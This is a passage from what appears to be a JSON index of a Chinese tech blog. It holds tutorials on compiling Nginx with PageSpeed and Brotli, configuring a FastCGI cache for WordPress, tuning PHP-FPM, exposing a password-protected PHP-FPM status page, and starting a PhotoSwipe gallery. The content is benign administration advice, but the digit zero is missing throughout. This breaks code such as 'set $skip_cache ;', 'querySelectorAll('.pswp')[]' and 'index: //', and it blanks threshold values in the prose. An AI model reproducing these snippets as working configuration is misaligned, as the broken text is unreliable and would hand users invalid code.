--http-scgi-temp-path=/var/lib/nginx/tmp/scgi --pid-path=/run/nginx.pid --lock-path=/run/lock/subsys/nginx --user=nginx --group=nginx --with-ipv6 --with-http_auth_request_module --with-http_ssl_module --with-http_v2_module --with-http_realip_module --with-http_addition_module --with-http_xslt_module=dynamic --with-http_image_filter_module=dynamic --with-http_geoip_module=dynamic --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_degradation_module --with-http_slice_module --with-http_stub_status_module --with-http_perl_module=dynamic --with-mail=dynamic --with-mail_ssl_module --with-pcre --with-pcre-jit --with-stream=dynamic --with-stream_ssl_module --with-google_perftools_module\u0026#39; 執行這個自動編譯與安裝的指令稿之後，會自動逐步完成所有編譯與安裝的動作，理論上來說我們使用跟系統 Nginx 相同的編譯參數，只要版本不要差異太大，安裝之後會把系統的 Nginx 覆蓋掉，直接就可以使用，不過這種方式的風險非常高，也有可能裝下去之後，整理網頁伺服器就無法運作了，所以如果要這樣裝，一定要事先在測試的機器上充分測試。\n這個自動編譯與安裝的指令稿其實就只是幫我們下載必要的東西，並且執行 make 相關的指令而已，後來如果想要調整細部參數、重新安裝的話，只要在既有的 Nginx 原始碼目錄執行 configure 與 make 等指令即可，跟自己完全手動的做法類似。\n若幸運的話，只要重新啟動 Nginx 伺服器，就可以直接使用新的 Nginx 伺服器了：\nsudo systemctl restart nginx Brotli 設定 開啟 Nginx 的設定檔 /etc/nginx/nginx.conf，在 http 區塊加入以下設定：\nhttp { # [略] # 啟用 Brotli brotli on; brotli_static on; brotli_comp_level 6; brotli_types text/plain text/javascript text/css text/xml text/x-component application/javascript application/x-javascript application/xml application/json application/xhtml+xml application/rss+xml application/atom+xml application/x-font-ttf application/vnd.ms-fontobject image/svg+xml image/x-icon font/opentype; # [略] } PageSpeed 設定 PageSpeed 的設定相當複雜，以下是最簡單的設定方式：\nserver { # [略] # 啟用 PageSpeed pagespeed on; # 設定 PageSpeed 快取目錄 pagespeed FileCachePath /var/ngx_pagespeed_cache; # Ensure requests for pagespeed optimized resources go to the pagespeed handler # and no extraneous headers get set. location ~ \u0026#34;\\.pagespeed\\.([a-z]\\.)?[a-z]{2}\\.[^.]{10}\\.[^.]+\u0026#34; { add_header \u0026#34;\u0026#34; \u0026#34;\u0026#34;; } location ~ \u0026#34;^/pagespeed_static/\u0026#34; { } location ~ \u0026#34;^/ngx_pagespeed_beacon$\u0026#34; { } # [略] } 這裡的 /var/ngx_pagespeed_cache 是給 PageSpeed 放置快取（暫存檔）的地方，若網站內容較多的話，需要的空間也會比較大，請自己找一個適合的地方來放置，並記得確認此目錄可讓 Nginx 伺服器讀取與寫入。\n參考資料 Linode 的文件 HeikoMamerow MR. 沙先生 nostratech ","permalink":"https://blog.gtwang.org/linux/centos-linux-compile-nginx-google-pagespeed-brotli-module-201805/","summary":"\u003cp\u003e這裡記錄在 CentOS Linux 7 中自行編譯 Nginx + PageSpeed + Brotli 的過程。\u003c/p\u003e\n\u003cp\u003e最近我嘗試各種方式，想讓 Nginx 網頁伺服器的效能再提高一些，在\u003ca href=\"/linux/nginx-php-fpm-configuration-optimization/\"\u003e校調了 Nginx 與 PHP-FPM 的基本設定\u003c/a\u003e，以及\u003ca href=\"/linux/nginx-fastcgi-cache-for-wordpress-tutorial/\"\u003e啟用了 FastCGI Cache 快取\u003c/a\u003e之後，接著考慮 \u003ca href=\"https://developers.google.com/speed/pagespeed/module/\"\u003eGoogle 的 PageSpeed 模組\u003c/a\u003e與 \u003ca href=\"https://github.com/google/ngx_brotli\"\u003eBrotli 壓縮模組\u003c/a\u003e，而這兩個工具都不是 Nginx 內建的，所以若想使用的話，就必須自己重新編譯 Nginx。\u003c/p\u003e","title":"CentOS Linux 編譯 NGINX + Google PageSpeed + Brotli 模組流程記錄"},{"content":"這裡介紹如何設定 Nginx 的 FastCGI 快取功能，加速 WordPress 網頁載入速度。\nWordPress 是現在很流行的網站架構，它是以 PHP 語言所開發的 CMS，在使用者每一次瀏覽網頁時，都需要執行 PHP 的程式碼，產生使用者所要求的頁面，這樣的好處是可以動態產生最新的網頁內容，而缺點就是速度會比一般靜態網頁還慢很多。\n如果我們的 WordPress 網站只是提供使用者單純瀏覽資料（不需要帳號登入），而網站內容的更新速度也不是非常快，那就可以考慮使用快取的功能，減少 PHP 程式的執行頻率，可以大幅增加網站的載入速度。\nNginx 設定 FastCGI Cache 網頁伺服器設定快取的方法有很多種，若在 Nginx 伺服器中我們可以使用 FastCGI 內建的快取（cache）功能，將 PHP 產生的網頁儲存下來放在快取中，若後來又有相同的網頁請求，就可以直接送出上一次計算的結果，減少 PHP 程式執行的次數。\n建立快取存檔案放目錄 首先建立 FastCGI 放置快取檔案的目錄，這個目錄要放在哪裡都可以，自己選擇一個適當的地方即可，只不過目錄的擁有者要設定為 Nginx 的執行帳號（例如 nginx）：\nsudo mkdir -p /var/cache/nginx/fastcgi chown -R nginx:nginx /var/cache/nginx 啟用 FastCGI Cache 快取功能 修改 /etc/nginx/nginx.conf 設定檔，在 http 區塊中（要在 server 區塊之外）加入以下設定：\nhttp { # [略] fastcgi_cache_path /var/cache/nginx/fastcgi levels=1:2 keys_zone=GTWANG_CACHE:16m inactive=60m max_size=256m; fastcgi_cache_key \u0026#34;$scheme$request_method$host$request_uri\u0026#34;; fastcgi_cache_use_stale error timeout invalid_header http_500; fastcgi_ignore_headers Cache-Control Expires Set-Cookie; # [略] } 這裡比較重要的設定是 fastcgi_cache_path，後面接的路徑就是剛剛建立好的快取目錄，未來 FastCGI 會將網頁的快取檔案放在此目錄之下。\nkeys_zone 則是用來指定存放的鍵值的空間與使用的記憶體大小，1 MB 的記憶體大約可以存放八千個左右的鍵值，也就是說若設定為 16 MB 的話（16m），大約可以快取 128,000 個左右的網址，這個值請根據自己的網佔有多少 PHP 網址來調整。\ninactive 是設定當檔案經過多沒有使用，就從快取中移除，這裡是設定 60 分鐘（60m）。\nmax_size 是設定快取檔案的總容量上限（也就是放在 /var/cache/nginx/fastcgi 中的檔案大小上限），這個也是會跟網站的規模與內容有關，另外亦須考慮硬碟空間。若檔案大小超過這個上限值的時候，會從最久沒用的快取檔案開始刪除。\n關於其餘的參數說明，請參考 Nginx 的文件。\n設定 PHP 的快取規則 在個別網站的 server 區塊，加入以下的 FastCGI 快取設定，讓普通的 WordPress 網頁可以使用快取功能，排除一些不適合快取的網址：\nserver { # [略] set $skip_cache ; # POST 請求不用快取 if ($request_method = POST) { set $skip_cache 1; } # 若有 query 參數的網址不用快取 if ($query_string != \u0026#34;\u0026#34;) { set $skip_cache 1; } # 特殊的網址不用快取 if ($request_uri ~* \u0026#34;(/wp-admin/|/xmlrpc.php|/wp-(app|cron|login|register|mail).php|wp-.*.php|/feed/|index.php|wp-comments-popup.php|wp-links-opml.php|wp-locations.php|sitemap(_index)?.xml|[a-z0-9_-]+-sitemap([0-9]+)?.xml)\u0026#34;) { set $skip_cache 1; } # 已登入使用者、留言者不用快取 if ($http_cookie ~* \u0026#34;comment_author|wordpress_[a-f0-9]+|wp-postpass|wordpress_no_cache|wordpress_logged_in\u0026#34;) { set $skip_cache 1; } # 加入快取資訊表頭（除錯用） add_header X-Cache $upstream_cache_status; location ~ .php$ { try_files $uri =404; fastcgi_split_path_info ^(.+.php)(/.+)$; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; # FastCGI 快取設定 fastcgi_cache GTWANG_CACHE; fastcgi_cache_valid 200 60m; fastcgi_cache_bypass $skip_cache; fastcgi_no_cache $skip_cache; if (!-f $document_root$fastcgi_script_name) { return 404; } } # [略] } 由於這裡的設定比較複雜，修完成後，建議先讓 Nginx 自動檢查一下設定檔是否有問題：\n# 檢查 nginx 設定是否正確 sudo nginx -t nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful 若設定檔測試無誤，則重新啟動 Nginx 伺服器：\nsystemctl restart nginx 這樣就完成 FastCGI 快取的設定的。\n之後我們可以觀察看看 /var/cache/nginx/fastcgi 目錄下快取檔案的狀況，檢查是否有建立快取檔案，以及整個目錄的大小與檔案數量是否容易超過上限值等。\n查看 X-Cache 網頁標頭 由於我們在設定檔中有設定讓網頁加入 X-Cache 這個標頭，它會標示目前的網頁是否是從快取產生的，若為 HIT 則代表從快取產生，而若為 MISS 則代表由正常的 PHP 所產生，若為 BYPASS 則代表該網址不適用快取（被我們設定排除，例如 WordPress 管理頁面）。我們可以開啟自己的網頁，使用瀏覽器的開發人員工具，查看這個標頭欄位：\nRAM Disk 使用 ram disk 來儲存快取檔案可以讓效能更好。在 /etc/fstab 中加入這一行，即可讓系統開機自動掛載 ram disk：\ntmpfs /var/cache/nginx/fastcgi tmpfs defaults,size=256M 0 0 修改好設定之後，若要立即掛載，可執行：\nmount -a 查看掛載狀況：\ndf -ah | grep cache 參考資料 Ryadel DigitalOcean 的文件 米饭粑 WordPress 官方網站 LinuxAdmin.io ","permalink":"https://blog.gtwang.org/linux/nginx-fastcgi-cache-for-wordpress-tutorial/","summary":"\u003cp\u003e這裡介紹如何設定 Nginx 的 FastCGI 快取功能，加速 WordPress 網頁載入速度。\u003c/p\u003e\n\u003cp\u003eWordPress 是現在很流行的網站架構，它是以 PHP 語言所開發的 CMS，在使用者每一次瀏覽網頁時，都需要執行 PHP 的程式碼，產生使用者所要求的頁面，這樣的好處是可以動態產生最新的網頁內容，而缺點就是速度會比一般靜態網頁還慢很多。\u003c/p\u003e","title":"NGINX 設定 FastCGI Cache 快取教學，提高 WordPress 網站載入速度"},{"content":"這裡介紹一些 Nginx 與 PHP-FPM 相關的設定檔調整方法與技巧，最佳化網頁伺服器的效能。\n最近我把網站伺服器從原本的 Ubuntu Linux 14.04 換成新的 CentOS Linux 7（LEMP 架構），PHP 版本也升級成 PHP 7，結果更換之後，網頁看似正常，但不定時會出現 MariaDB 記憶體不足的錯誤訊息：\n180505 11:48:00 [ERROR] Plugin 'InnoDB' init function returned error. 180505 11:48:00 [ERROR] Plugin 'InnoDB' registration as a STORAGE ENGINE failed. 180505 11:48:00 [ERROR] mysqld: Out of memory (Needed 128917504 bytes) 180505 11:48:00 [ERROR] mysqld: Out of memory (Needed 96681984 bytes) 起初以為是 MariaDB 的設定問題，但是後來才發現是因為系統記憶體不足，導致 MariaDB 沒有足夠的記憶體可以使用。\n但是因為我租用的 VPS 伺服器規格並沒有改變，只是把原本的 Ubuntu Linux 14.04 換成新的 CentOS Linux 7，照理說記憶體需求應該不會差異太大，經過一番檢查後，發現造成系統記憶體不足的主因是因為 PHP-FPM 的設定沒有調整好，CentOS Linux 裝好 PHP-FPM 時，預設的行程數量設定太大，導致吃光所有的記憶體，影響到 MariaDB 的運作。\nPHP-FPM 行程數量設定 PHP-FPM 中有一個 process manager 功能，它負責管理 PHP-FPM 的工作行程，可以在網路流量較大時，增加 PHP-FPM 行程數量，而沒有流量時則減低 PHP-FPM 的行程數量，在安裝好 PHP-FPM 之後，建議仔細調整一下 process manager 相關的設定，這樣可以讓伺服器的效能更好一點，而且也可以避免開太多 PHP-FPM 行程，把系統記憶體耗盡。\nPHP-FPM 的 process manager 設定可在 pool 設定檔中調整，在 CentOS Linux 中，PHP 5 的 PHP-FPM 設定檔案放在 /etc/php5/fpm/pool.d/www.conf，而 PHP 7 的 PHP-FPM 設定檔則是放在 /etc/opt/rh/rh-php71/php-fpm.d/www.conf。設定檔的實際位置也會跟安裝的方式有關，如果您系統上的 PHP-FPM 的設定檔位置不同，就自己尋找一下類似的路徑。\n在調整 PHP-FPM 的行程管理規則時，建議可以開啟 PHP-FPM 服務的狀態監控網頁，方便觀察調整後的效果。\nProcess Manager 行程調配規則 process manager 有一系列的選項可以調整，首先找到 pm（process manager）參數：\npm = dynamic pm 可用的值如下：\nstatic：固定行程數量（數量為 pm.max_children）。 dynamic：動態行程數量（根據 pm.max_children、pm.start_servers、pm.min_spare_servers、pm.max_spare_servers 動態調整）。 ondemand：動態行程數量（根據 pm.max_children、pm.process_idle_timeout 動態調整）。 static 就是單純維持固定的 PHP-FPM 行程數量，若記憶體很充足的伺服器，可以考慮使用這種設定，效能會很好，不過缺點就是沒有流量時還是會佔用很多記憶體。\ndynamic 與 ondemand 都會根據網路流量來動態調整 PHP-FPM 的行程數量。ondemand 就是很單純看需要多少行程就建立多少，沒用的就關閉，最節省記憶體，但是由於開關行程頻繁，所以效能較差。dynamic 可以設定一些規則，讓流量大的時候開啟多一點工作行程，而在沒有流量時，也會保留一些行程等待隨時接收新的連線，效能與耗費的記憶體都介於 static 與 ondemand 之間，算是折衷的方案。\n最大行程數量 pm.max_children 這個參數在 static 模式下就是代表開啟的行程數，而在 dynamic 與 ondemand 模式下，則是代表最大可開啟的行程數量：\npm.max_children = 50 這個值是最重要的，設太小的話會造成伺服器處理連線的速度下降，設太大的話會耗盡系統記憶體（造成當機），所以要依照自己系統上的資源來調配。\n建議可以先用 top 指令，看看單一 PHP-FPM 行程大約佔用多少記憶體，然後再估算一下整個系統可以容納多少 PHP-FPM 的行程。\n初始行程數量 pm.start_servers 可設定 PHP-FPM 服務在一開始啟動時，要配置多少個行程：\npm.start_servers = 5 最小閒置行程數量 pm.min_spare_servers 可設定 PHP-FPM 最小閒置行程的數量：\npm.min_spare_servers = 5 最大閒置行程數量 pm.max_spare_servers 可設定 PHP-FPM 最大閒置行程的數量：\npm.max_spare_servers = 35 PHP-FPM 單一行程可處理連線數 pm.max_requests 可設定單一 PHP-FPM 最多可以處理多少個連線，當一個工作行程處理的連線數達到這個值的時候，就會強制關閉此行程，重新產生另一個新的行程：\npm.max_requests = 500 重新啟動 PHP-FPM 服務 修改好 PHP-FPM 設定檔之後，重新啟動 PHP-FPM 服務，讓新設定生效：\n# PHP 5 sudo systemctl restart php-fpm # PHP 7 sudo systemctl restart rh-php71-php-fpm 檢查 PHP-FPM 是否正常啟動：\n# PHP 5 sudo systemctl status php-fpm # PHP 7 sudo systemctl status rh-php71-php-fpm Nginx 設定技巧 以下是一些 Nginx 伺服器常用的設定配置技巧。\n多網站設定配置 在 CentOS Linux 中安裝好 Nginx 之後，主要的設定檔都放在 /etc/nginx/nginx.conf，建議可以仿照 Debian/Ubuntu 的管理方式，建立兩個放置個別網站設定的目錄：\n/etc/nginx/sites-available/ /etc/nginx/sites-enabled/ 所有網站的設定檔都放在 /etc/nginx/sites-available/ 之中，對於要啟用的網站則在 /etc/nginx/sites-enabled/ 建立連結檔。\n接著在 /etc/nginx/nginx.conf 中的 http 區塊尾端加上一個 include 設定：\nhttp { # [略] include /etc/nginx/sites-enabled/*; } 這樣就可以方便管理多個網站的設定了。\nWorker 設定 Nginx 的 worker_processes 可以設定 worker 行程的數量，通常如果 CPU 沒有其他用途的話，可以把這個值設定成 CPU 的核心數：\n# 4 核心的 CPU worker_processes 4; 或是直接設定為 auto，讓 Nginx 自動偵測可用的 CPU 核心數：\n# 自動偵測 CPU 核心數 worker_processes auto; 另外 worker_connections 可設定每個 worker 可同時處理的連線數上限值：\nevents { # 同時可處理 1024 條連線 worker_connections 1024; } 也就是說整台 Nginx 伺服器可以同時處理的連線數上限值即為 worker_processes * worker_connections。\n不顯示 Nginx 版本 顯示 Nginx 的詳細版本可能會暴露出伺服器可能的弱點，建議可以將其隱藏起來：\nhttp { # 不顯示 Nginx 版本 server_tokens off; } 禁止存取隱藏檔 通常隱藏檔都是跟系統有關的檔案，不會是一般的網頁，所以禁止網頁伺服器顯示隱藏檔可以增加系統安全性：\nserver { # [略] location ~ /\\. { access_log off; log_not_found off; deny all; } } 檔案資訊快取 open_file_cache 是 Nginx 的檔案資訊快取功能，適用於有大量靜態檔案的網站，它會將常用的檔案資訊放入快取（並非將檔案內容放入快取），加速靜態檔案的處理速度。\nhttp { # [略] # 檔案資訊快取 open_file_cache max=1000 inactive=20s; open_file_cache_valid 30s; open_file_cache_min_uses 2; open_file_cache_errors on; } 其他 在 events 的設定中，可以加入以下設定，可讓效能更好：\nevents { # [略] # 使用 epoll 效能較好 use epoll; # 可同時接受多條連線 multi_accept on; } 參考資料 If Not True Then False haydenjames Servers for Hackers Servers for Hackers ","permalink":"https://blog.gtwang.org/linux/nginx-php-fpm-configuration-optimization/","summary":"\u003cp\u003e這裡介紹一些 Nginx 與 PHP-FPM 相關的設定檔調整方法與技巧，最佳化網頁伺服器的效能。\u003c/p\u003e\n\u003cp\u003e最近我把網站伺服器從原本的 Ubuntu Linux 14.04 換成新的 \u003ca href=\"/linux/linode-centos-7-nginx-mysql-mariadb-php-7-installation-notes/\"\u003eCentOS Linux 7（LEMP 架構）\u003c/a\u003e，PHP 版本也升級成 PHP 7，結果更換之後，網頁看似正常，但不定時會出現 MariaDB 記憶體不足的錯誤訊息：\u003c/p\u003e","title":"Nginx 與 PHP-FPM 最佳化效能設定教學與技巧"},{"content":"本篇介紹如何在 Nginx 與 PHP-FPM 的網頁伺服器的架構下，啟用 PHP-FPM 服務的狀態監控網頁，讓管理者查 PHP-FPM 服務內部即時的狀況。\nNginx 網頁伺服器通常都會搭配 PHP-FPM 來處理 PHP 的網頁，Nginx 內部的狀態可以透過 Nginx 內建的 stub_status 模組來即時監控，而 PHP-FPM 也有類似的監控功能，以下是設定與使用教學。\n啟用 PHP-FPM 即時監控功能 PHP-FPM 的監控功能可以透過修改 PHP-FPM 的設定檔來啟用。在 CentOS Linux 中，PHP 5 的 PHP-FPM 設定檔案放在 /etc/php5/fpm/pool.d/www.conf，而 PHP 7 的 PHP-FPM 設定檔則是放在 /etc/opt/rh/rh-php71/php-fpm.d/www.conf，設定檔的實際位置也會跟安裝的方式有關，如果您系統上的 PHP-FPM 的設定檔位置不同，就自己尋找一下類似的路徑。\nPHP-FPM 狀態報表功能 打開 PHP-FPM 的設定檔後，尋找 pm.status_path 這個設定值，若用 vim 編輯器的話，可以使用以下指令打開 www.conf 並自動搜尋 pm.status_path 這個關鍵字的位置：\nvim +/pm.status_path www.conf pm.status_path 的作用是設定 FPM 狀態的網址（URI），在預設的狀況下，這個值應該是沒有被設定的（代表停用此功能）。若要啟用這個功能，就把這個值設定成一個自己取的網址即可，例如：\npm.status_path = /php_fpm_status 這樣的話就可以啟用此功能，並且透過 /php_fpm_status 這個路徑來查看 PHP-FPM 的狀況。\nPing 功能 PHP-FPM 的 ping 功能就類似一般網路診斷上常用的 ping 指令，可用來檢查 PHP-FPM 服務是否維持正常運作，所以如果要監控 PHP-FPM 服務是否正常的話，建議也可以一併開啟這個功能。\nPHP-FPM 的 ping 功能可透過 ping.path 這個設定來啟用，它跟 pm.status_path 類似，也是指定一個自訂的網址即可啟用：\nping.path = /php_fpm_ping 在預設的情況下，當我們瀏覽 ping.path 所指定的網址時，它會回應 pong 這個文字，如果要改變回應文字的內容，可用 ping.response 來自訂文字：\nping.response = hello 這樣設定的話，瀏覽 /php_fpm_ping 時就會回應 hello。\n重新啟動 PHP-FPM 服務 修改好 PHP-FPM 設定檔之後，記得重新啟動 PHP-FPM 服務，讓新設定生效：\n# PHP 5 sudo systemctl restart php-fpm # PHP 7 sudo systemctl restart rh-php71-php-fpm 隨後檢查 PHP-FPM 是否正常啟動：\n# PHP 5 sudo systemctl status php-fpm # PHP 7 sudo systemctl status rh-php71-php-fpm 修改 Nginx 設定檔 在 PHP-FPM 設定檔中啟用了 PHP-FPM 狀態報表與 ping 功能之後，接著就要在 Nginx 這邊也進行對應的設定，讓 Nginx 遇到 /php_fpm_status 與 /php_fpm_ping 這兩個特殊的網址時，可以直接導給 PHP-FPM 來處理。\n開啟 Nginx 的網站設定檔，在 server 的設定區塊加入 PHP-FPM 監控網址的設定：\nserver { # [略] # 加入 PHP-FPM 監控網址設定 location ~ ^/(php_fpm_status|php_fpm_ping)$ { # 設定帳號與密碼 auth_basic \u0026#34;Closed Site\u0026#34;; auth_basic_user_file path/to/htpasswd; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 通常系統的狀態資訊不會開放給一般訪客觀看，所以這裡我們使用帳號與密碼的方式，把這兩個網址鎖起來，只讓管理者有權限查看 PHP-FPM 的狀態。\n除了這個帳號與密碼的方式之外，我們也可以透過限制 IP 位址的作法，只讓自己的電腦可以查看 PHP-FPM 狀態網頁，詳細設定方式請參考 Nginx 設定密碼認證與限制可存取的 IP 位址教學。\n重新啟動 Nginx 服務 修改好 Nginx 設定檔之後，重新啟動 Nginx 服務，讓新設定生效：\nsudo systemctl restart nginx 檢查是否正常啟動：\nsudo systemctl status nginx 查看 PHP-FPM 服務即時狀態 假設我們的網站網址為 https://sun.gtwang.org/，則 PHP-FPM 狀態監控的完整網址就會是：\nhttps://sun.gtwang.org/php_fpm_status 打開 PHP-FPM 狀態監控的網址後，就可以看到類似這樣的文字報表：\n各欄位的意義如下：\n欄位 說明 pool pool 名稱，通常是 www。 process manager static、dynamic 或 ondemand start time FPM 啟動的時間點。若重新載入（reload）也會改變這個時間 start since FPM 啟動後所經過的秒數。 accepted conn 已接收到的連線數量。 listen queue 目前正在等待處理的連線數量，若這個值不是 ，就代表 FPM 的行程數量可能不夠，要考慮增加行程數量。 max listen queue FPM 啟動後，等待處理連線數量的最大紀錄。 listen queue len 等待處理連線佇列的長度。 idle processes 閒置的 FPM 行程數量。 active processes 工作中的 FPM 行程數量。 total processes 所有的 FPM 行程數量。 max active processes FPM 啟動後，工作中 FPM 行程數量的最大紀錄。 max children reached FPM 啟動後，FPM 行程達到上限值的次數，若這個值不是 ，代表 PHP-FPM 的上限值設定太低，要考慮增加上限值。 slow requests 處理過慢的連線數，若這個值不是 ，代表某些 PHP 程式的處理速度太慢，最常見的因素就是 MySQL 資料庫查詢過慢。 若要查看更詳細的資訊，可以在網址後方加上 ?full 參數：\nhttps://sun.gtwang.org/php_fpm_status?full 這樣就可以顯示各 FPM 行程資訊：\n以下是各個 FPM 行程資訊欄位的意義：\n欄位 說明 pid FPM 的行程 ID。 state 行程狀態，Idle 代表閒置，Running 代表工作中。 start time 行程啟動的時間點。 start since 行程啟動後所經過的秒數。 requests 處理過的連線數。 request duration 連線時間（µs）。 request method 連線方式（GET、POST 等）。 request URI 連線的網址。 content length POST 的資料長度。 user 認證的使用者名稱（PHP_AUTH_USER）。 script 主要執行的 PHP 指令稿。 last request cpu 上一個連線所耗費的 CPU 百分比（只有閒置的行程才會顯示）。 last request memory 上一個連線所耗費的最大記憶體（只有閒置的行程才會顯示）。 如果想要使用程式來讀取這些資訊，可以加上一些參數，以不同的格式取得資料：\nhttps://sun.gtwang.org/php_fpm_status?json https://sun.gtwang.org/php_fpm_status?html https://sun.gtwang.org/php_fpm_status?xml 詳細的資訊也可以用不同的格式表示：\nhttps://sun.gtwang.org/php_fpm_status?full\u0026amp;json https://sun.gtwang.org/php_fpm_status?full\u0026amp;html https://sun.gtwang.org/php_fpm_status?full\u0026amp;xml Ping 功能網址 ping 功能的網址就是基本的網址加上我們設定的路徑 /php_fpm_ping：\nhttps://sun.gtwang.org/php_fpm_ping 這個網頁就只是傳固定的文字訊息而已，讓管理者（或是監控程式）確認 PHP-FPM 有正常運作。\n參考資料 EasyEngine Tecmint ","permalink":"https://blog.gtwang.org/linux/nginx-enable-php-fpm-status-page-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Nginx 與 PHP-FPM 的網頁伺服器的架構下，啟用 PHP-FPM 服務的狀態監控網頁，讓管理者查 PHP-FPM 服務內部即時的狀況。\u003c/p\u003e\n\u003cp\u003eNginx 網頁伺服器通常都會搭配 PHP-FPM 來處理 PHP 的網頁，Nginx 內部的狀態可以透過 \u003ca href=\"/linux/nginx-enable-stub_status-module-to-collect-metrics/\"\u003eNginx 內建的 stub_status 模組\u003c/a\u003e來即時監控，而 PHP-FPM 也有類似的監控功能，以下是設定與使用教學。\u003c/p\u003e","title":"Nginx 啟用 PHP-FPM 服務狀態監控網頁教學"},{"content":"本篇介紹如何使用 PhotoSwipe 畫廊函式庫，建立好用的網頁看圖介面，方便電腦與手機使用者在網頁上瀏覽圖片。\nPhotoSwipe 是一套開放原始碼的 JavaScript 畫廊函式庫，可以讓我們在網頁中建立直覺的看圖介面，方便瀏覽大量的圖片，而且也支援手機的觸控操作，是一套很不錯的圖片展示工具函式庫。\n名稱：PhotoSwipe\n網站：https://photoswipe.com/\nPhotoSwipe 基本用法 Step 1\n從 PhotoSwipe 的 GitHub 網站上下載它的原始碼，將 dist 目錄下的檔案取出來，引入網頁中：\n\u0026lt;!-- 核心 CSS 檔案 --\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;path/to/photoswipe.css\u0026#34;\u0026gt; \u0026lt;!-- UI 介面 CSS 檔案，在這個 CSS 檔的目錄中， 同時有包含幾個圖檔，注意不要漏掉 --\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;path/to/default-skin/default-skin.css\u0026#34;\u0026gt; \u0026lt;!-- 核心 JS 檔案 --\u0026gt; \u0026lt;script src=\u0026#34;path/to/photoswipe.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;!-- UI 介面的 JS 檔案 --\u0026gt; \u0026lt;script src=\u0026#34;path/to/photoswipe-ui-default.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Step 2\n在網頁的 \u0026lt;/body\u0026gt; 之前，加入以下 PhotoSwipe 節點元素，並且自己調整 UI 的配置：\n\u0026lt;!-- PhotoSwipe 個根節點元素，class 一定要是 pswp --\u0026gt; \u0026lt;div class=\u0026#34;pswp\u0026#34; tabindex=\u0026#34;-1\u0026#34; role=\u0026#34;dialog\u0026#34; aria-hidden=\u0026#34;true\u0026#34;\u0026gt; \u0026lt;!-- PhotoSwipe 的背景 --\u0026gt; \u0026lt;div class=\u0026#34;pswp__bg\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;!-- Slides 包裝元素（overflow:hidden） --\u0026gt; \u0026lt;div class=\u0026#34;pswp__scroll-wrap\u0026#34;\u0026gt; \u0026lt;!-- 實際放置圖片的容器，PhotoSwipe 只會同時從放三張圖片在 DOM， 這樣比較節省記憶體，這部份不要更改 --\u0026gt; \u0026lt;div class=\u0026#34;pswp__container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;pswp__item\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;pswp__item\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;pswp__item\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- 上方的 UI 設定，可以自行調整 --\u0026gt; \u0026lt;div class=\u0026#34;pswp__ui pswp__ui--hidden\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;pswp__top-bar\u0026#34;\u0026gt; \u0026lt;!-- 以下是各種控制元件，順序可以自行調整 --\u0026gt; \u0026lt;div class=\u0026#34;pswp__counter\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;button class=\u0026#34;pswp__button pswp__button--close\u0026#34; title=\u0026#34;Close (Esc)\u0026#34;\u0026gt;\u0026lt;/button\u0026gt; \u0026lt;button class=\u0026#34;pswp__button pswp__button--share\u0026#34; title=\u0026#34;Share\u0026#34;\u0026gt;\u0026lt;/button\u0026gt; \u0026lt;button class=\u0026#34;pswp__button pswp__button--fs\u0026#34; title=\u0026#34;Toggle fullscreen\u0026#34;\u0026gt;\u0026lt;/button\u0026gt; \u0026lt;button class=\u0026#34;pswp__button pswp__button--zoom\u0026#34; title=\u0026#34;Zoom in/out\u0026#34;\u0026gt;\u0026lt;/button\u0026gt; \u0026lt;div class=\u0026#34;pswp__preloader\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;pswp__preloader__icn\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;pswp__preloader__cut\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;pswp__preloader__donut\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;pswp__share-modal pswp__share-modal--hidden pswp__single-tap\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;pswp__share-tooltip\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;button class=\u0026#34;pswp__button pswp__button--arrow--left\u0026#34; title=\u0026#34;Previous (arrow left)\u0026#34;\u0026gt; \u0026lt;/button\u0026gt; \u0026lt;button class=\u0026#34;pswp__button pswp__button--arrow--right\u0026#34; title=\u0026#34;Next (arrow right)\u0026#34;\u0026gt; \u0026lt;/button\u0026gt; \u0026lt;div class=\u0026#34;pswp__caption\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;pswp__caption__center\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; Step 3\n接著就可以使用 JavaScript 來啟動 PhotoSwipe 顯示圖片了，以下是一段啟動 PhotoSwipe 的範例：\n\u0026lt;script\u0026gt; var pswpElement = document.querySelectorAll(\u0026#39;.pswp\u0026#39;)[]; // 定義每一張圖片的 URL 與大小等 var items = [ { src: \u0026#39;https://placekitten.com/600/400\u0026#39;, w: 600, h: 400 }, { src: \u0026#39;https://placekitten.com/1200/900\u0026#39;, w: 1200, h: 900 } ]; // 定義各種選項 var options = { index: // 從第一張圖片開始顯示 }; // 